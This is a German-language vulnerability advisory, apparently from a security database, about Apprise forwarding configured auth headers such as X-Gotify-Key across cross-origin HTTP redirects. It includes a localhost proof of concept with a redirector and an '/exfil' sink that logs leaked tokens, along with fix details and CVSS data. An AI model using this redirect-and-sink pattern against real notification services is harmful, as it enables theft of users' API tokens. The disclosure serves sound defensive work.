Niedrig

Apprise leitet konfigurierte Auth-Header über Cross-Origin-HTTP-Weiterleitungen weiter

  • Veröffentlicht: 14.10.2026
  • Aktualisiert: 19.10.2026 08:00

Die Originalmeldung wurde seit der Erstellung dieser Erklärung geändert. Prüfen Sie die aktuellen technischen Daten und die Originalmeldung unten.

Zusammenfassung

Die HTTP-basierten Benachrichtigungs-Plugins sowie die HTTP-Attachment- und Konfigurations-Loader von Apprise (apprise/attachment/http.py, apprise/config/http.py) folgen standardmäßig HTTP-3xx-Weiterleitungen und senden die vom Benutzer konfigurierten Authentifizierungs-Header und Abfrageparameter bei der weitergeleiteten Anfrage erneut. Wenn ein vom Betreiber konfiguriertes Ziel später kompromittiert wird (Dienstübernahme, bösartiges Update) oder ein Angreifer eine Man-in-the-Middle-Position (MITM) auf einem ungeschützten Netzwerkpfad einnimmt, kann dieses Ziel ein 302 Location: an einen beliebigen Host zurückgeben, woraufhin Apprise das Geheimnis des Benutzers (X-Gotify-Key, Authorization, Bearer-Token in der Abfrage, benutzerdefinierte +Header=-Werte) an diesen Cross-Origin-Host weiterleitet. Der Angreifer muss die ursprüngliche Apprise-URL nicht kontrollieren — lediglich die Antwort eines Ziels, dem der Betreiber bereits vertraut.

Dies entspricht auf Anwendungsebene dem Verhalten von urllib3 GHSA-34jh-p97f-mpxf / CVE-2026-44431 („Proxy-Authorization forwarded across cross-origin redirect“).

Betroffene Versionen

Alle Versionen bis einschließlich v1.10.0 (neueste PyPI-Version zum Zeitpunkt der Meldung, 2026-04-26). Behoben in v1.11.0 (veröffentlicht am 2026-05-29), welches PR #1610 (gemergt am 2026-05-16, Commit 68c0aef218055e4586cf4605fd6b56358f5f462d) enthält.

Details

apprise/plugins/gotify.py (HEAD vor dem Fix, Zeilen 226-244, wortgetreu):

python
headers = {
    "User-Agent": self.app_id,
    "Content-Type": "application/json",
    "X-Gotify-Key": self.token,    # user-supplied secret
}
...
r = requests.post(
    url,
    data=dumps(payload),
    headers=headers,
    verify=self.verify_certificate,
    timeout=self.request_timeout,
    # NO allow_redirects=False -- requests default is True
)

requests folgt standardmäßig 3xx-Weiterleitungen und hängt das headers=-Dict unabhängig vom Ursprung erneut an die weitergeleitete Anfrage an. Dasselbe Muster findet sich in ca. 50 Plugins wieder (custom_json, custom_xml, custom_form, gotify, ntfy, mattermost, apprise_api sowie den meisten anderen HTTP-basierten Plugins) und zusätzlich in apprise/attachment/http.py und apprise/config/http.py.

Reproduktion (lokal, sicher)

python
# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:8082/exfil")
        self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()
python
# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        print("LEAKED HEADERS:", dict(self.headers))
        self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()
python
# victim
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")

Beobachtet auf master HEAD (2026-05-13): attacker_sink.py gibt X-Gotify-Key: SECRETTOKEN aus – das vom Benutzer bereitgestellte Token folgte der Cross-Origin-Weiterleitung.

Patch

Der Fix wurde in caronc/apprise#1610 integriert (gemergt am 2026-05-16, Commit 68c0aef):

  • Ergänzt den URL-Parameter ?redirect=yes|no bei jeder Plugin-URL
  • Ergänzt den globalen Standardwert AppriseAsset.http_redirects
  • Äquivalente Flags wurden in apprise/attachment/http.py und apprise/config/http.py integriert

Der Standardwert bleibt aus Gründen der Abwärtskompatibilität redirects=True. Betreiber, die Benachrichtigungen über Ziele weiterleiten, denen sie nicht vollständig vertrauen, sollten ?redirect=no an ihre Apprise-URLs anhängen oder AppriseAsset(http_redirects=False) global setzen.

Veröffentlicht in v1.11.0 (2026-05-29, verfügbar auf PyPI).

Verwandte Ressourcen:

Behebung

Aktualisieren Sie auf Apprise v1.11.0 oder höher (pip install -U apprise).

Der Standardwert bleibt aus Gründen der Abwärtskompatibilität redirect=yes. Nach dem Upgrade sollten Betreiber, die Benachrichtigungen über Ziele weiterleiten, denen sie nicht vollständig vertrauen, zusätzlich global AppriseAsset(http_redirects=False) setzen oder ?redirect=no an jede Plugin-URL anhängen.

Wenn ein Upgrade noch nicht möglich ist, betreiben Sie Apprise nur mit vollständig vertrauenswürdigen Benachrichtigungszielen (das vom Maintainer dokumentierte, unterstützte Betriebsmodell).

Klassifizierung

  • CWE-200 Offenlegung sensibler Informationen gegenüber einem unbefugten Akteur – Authentifizierungs-Token / API-Schlüssel / benutzerdefinierte +Header=-Werte des Benutzers werden an die per Cross-Origin weitergeleitete Anfrage übermittelt.
  • CWE-601 URL-Weiterleitung zu einer nicht vertrauenswürdigen Seite – eine 3xx-Antwort des anfänglichen (vom Betreiber konfigurierten) Ziels sendet die Anfrage samt Anmeldedaten an einen Host, den der Betreiber nie konfiguriert hat.

CVSS 3.1: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N -> 3.1 NIEDRIG.

Ein Angriff setzt voraus, dass das vom Betreiber konfigurierte Ziel kompromittiert ist oder sich ein Angreifer auf dem Netzwerkpfad befindet. Die Auswirkung beschränkt sich auf einen teilweisen Verlust der Vertraulichkeit: ein einzelnes vom Benutzer bereitgestelltes Geheimnis pro weitergeleiteter Anfrage, begrenzt auf diesen einen Benachrichtigungskanal. Hierbei handelt es sich bewusst um eine gezielte Härtung bezüglich Weiterleitungen und Header-Weitergabe, nicht um die Behauptung, dass Remote-Ziele oder Remote-Konfigurationen an sich Schwachstellen darstellen.

Was zu tun ist

Aktualisieren Sie auf Apprise v1.11.0 oder höher (pip install -U apprise).

Der Standardwert bleibt aus Gründen der Abwärtskompatibilität redirect=yes. Betreiber, die Benachrichtigungen über Ziele weiterleiten, denen sie nicht vollständig vertrauen, sollten nach dem Upgrade zusätzlich global AppriseAsset(http_redirects=False) setzen oder ?redirect=no an jede Plugin-URL anhängen.

Falls ein Upgrade derzeit nicht durchführbar ist, verwenden Sie Apprise ausschließlich mit vollständig vertrauenswürdigen Benachrichtigungszielen (das vom Maintainer dokumentierte, unterstützte Modell).

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) apprise < 1.11.0 1.11.0

Verweise

CVSS-Wert 3.1/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Schwäche (CWE)
CWE-200, CWE-601
Plattform
Python (PyPI)
Paket
apprise
Veröffentlicht
14.10.2026
Aktualisiert
19.10.2026 08:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - PYSEC-2026-4200 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-856c-92hv-3vxx - CC BY 4.0

Schwachstellenhistorie: apprise

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
2
Erste → letzte
09.2021 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 1
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2021: 1
  2. 2022: 0
  3. 2023: 0
  4. 2024: 0
  5. 2025: 0
  6. 2026: 1
  1. Apprise leitet konfigurierte Auth-Header über Cross-Origin-HTTP-Weiterleitungen weiter dieser Eintrag
    Niedrig · 3.1 CVE-2026-59180 < 1.11.0 1.11.0
  2. Hoch · 7.5 CVE-2021-39229 < 0.9.5.1 0.9.5.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.